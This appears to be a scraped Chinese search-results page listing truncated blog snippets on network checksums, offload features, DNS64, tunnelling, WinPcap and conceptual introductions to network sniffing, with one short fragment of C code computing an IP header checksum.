  • 支持IPv6 DNS64/NAT64 网络网络概述: https://www.jianshu.com/p/37b8c006cd2d 为了防止链接失效,盗图一张,解释DNS64: 逻辑是比较简单的,但细节却足够繁琐,超级烦人。 本文不想谈DNS64,本文谈谈当...
  • 这是我在Coursera上的学习笔记。课程名称为《Computer Networks》,出自University of Washington。 由于计算机网络才诞生不久,目前正在以高速...本章详细讲解了链路层的具体情况,包括重发技术、多址技术和交换技术
  • 这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。前文分享了传统的恶意代码检测技术,包括恶意代码检测的对象和策略、特征值检测技术、校验...
  • CheckSumException ,即 校验和异常,出现该错误的原因:存储的数据与hadoop系统为该数据生成的校核和数据不一致导致错误,说白了,就是你存储的数据出现问题了,如:人为手动更改了数据,网络不稳定以及硬件损坏等...
  • 【入侵】Linux下的网络监听技术

    千次阅读 2007-09-25 02:24:00
    原贴:http://bbs.51cto.com/archiver/tid-1773.html【入侵】Linux下的网络监听技术前言:在网络中,当信息进行传播的时候,可以利用工具,将网络接口设置在监听的模式,便可将网络中正在传播的信息截获或者捕获到,...
  • 网络安全技术(双语)》 第一章 网络安全的本质 Network Security Essentials 1.Terminology 术语 2.Key Security Concepts/关键的安全概念 3.Computer Security Challenges 4.OSI Security Architecture/OSI...
  • 本章的这些特性在于提高网络性能,这些技术中的一些需要NICs的支持,一些特性是软件实现的。这些特性在服务器上使用较为流行,但是对于嵌入式领域,尤其是视频等网络等带宽需求较大的应用场景,这些特性也可能被使用...
  • 文章目录Virtual Network----网卡offload特性和网络加速技术简述前言实例实操TCP/IP协议栈简介DMARSSNAPIChecksum offloadScatter/GatherTSOJumbo FramesGSOLROGROUFOtx-udp_tnl-segmentation Virtual Network----...
  • 网络监听攻击技术

    千次阅读 2006-10-03 10:36:00
    前言: 在网络中,当信息进行传播的时候,可以利用工具,将网络接口设置在监听的模式,便可将网络中正在传播的信息截获或者捕获到,从而进行攻击。网络监听在网络中的任何一个位置模式下都可实施进行。而黑客一般都...
  • 我们知道,网络设备一次能够传输的最大数据量就是MTU,即IP传递给网络设备的每一个数据包不能超过MTU个字节,IP层的分段和重组功能就是为了适配网络设备的MTU而存在的。从理论上来讲,TCP可以不关心MTU的限定,只...
  • 为了实现上述目的,我们可以在物理网络上面为租户构建各自的覆盖(overlay)网络,而隧道封装技术则是实现覆盖网络的关键。本节我们将针对目前较为流行的构建覆盖网络的隧道封装技术展开讨论,具体包括VXLA
  • 常见网络加速技术浅谈(一)

    千次阅读 2020-05-27 17:09:09
    当用户需要向网络发送数据的时候,用户实际上是通过应用程序来完成这项工作。应用程序向一个描述了对端连接的文件描述符(File Description)写数据。 之后位于操作系统内核的TCP/IP协议栈,从文件描述符收到数据,...
  • [网络编程技术]Winpcap学习一

    千次阅读 2010-04-26 09:23:00
     我理解为:如果在通过没有交换功能的集线器连接的网络上,只要把网卡设置为混杂( promiscuous )模式, winpcap 能够捕获到其他主机通信的数据 包。如果是具有交换功能的集线器连接的网络 ...
  • tcp_packet.ipHeader.checksum=CheckSum((USHORT*)tempBuf,sizeof(IPHEADER)); //数据包流序列化 memcpy(tcp_packet_str,(UCHAR*)&tcp_packet,sizeof(PACKET)); SetDlgItemInt(IDC_PORT_EDIT,port); ...
  • Linux内核ipv4相关数据结构 ...存储一个网络设备所有与IPV4相关的配置内容。 sk_buff和net_device结构里与校验和相关字段 net_device->features字段中有些标记可以用于定义设备硬件校验和能力 .
  • 无线网络技术导论笔记(第四讲)

    千次阅读 2019-06-04 23:06:34
    无线网络技术导论 主讲教师:张亮老师 第四讲 无线局域网 https://blog.csdn.net/Wjwstruggle/article/details/90814151 目录 无线网络技术导论 第四讲 无线局域网 目录 ​一、无线局域网概述 1、无线...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 12,274
精华内容 4,909
关键字:

网络的checksum技术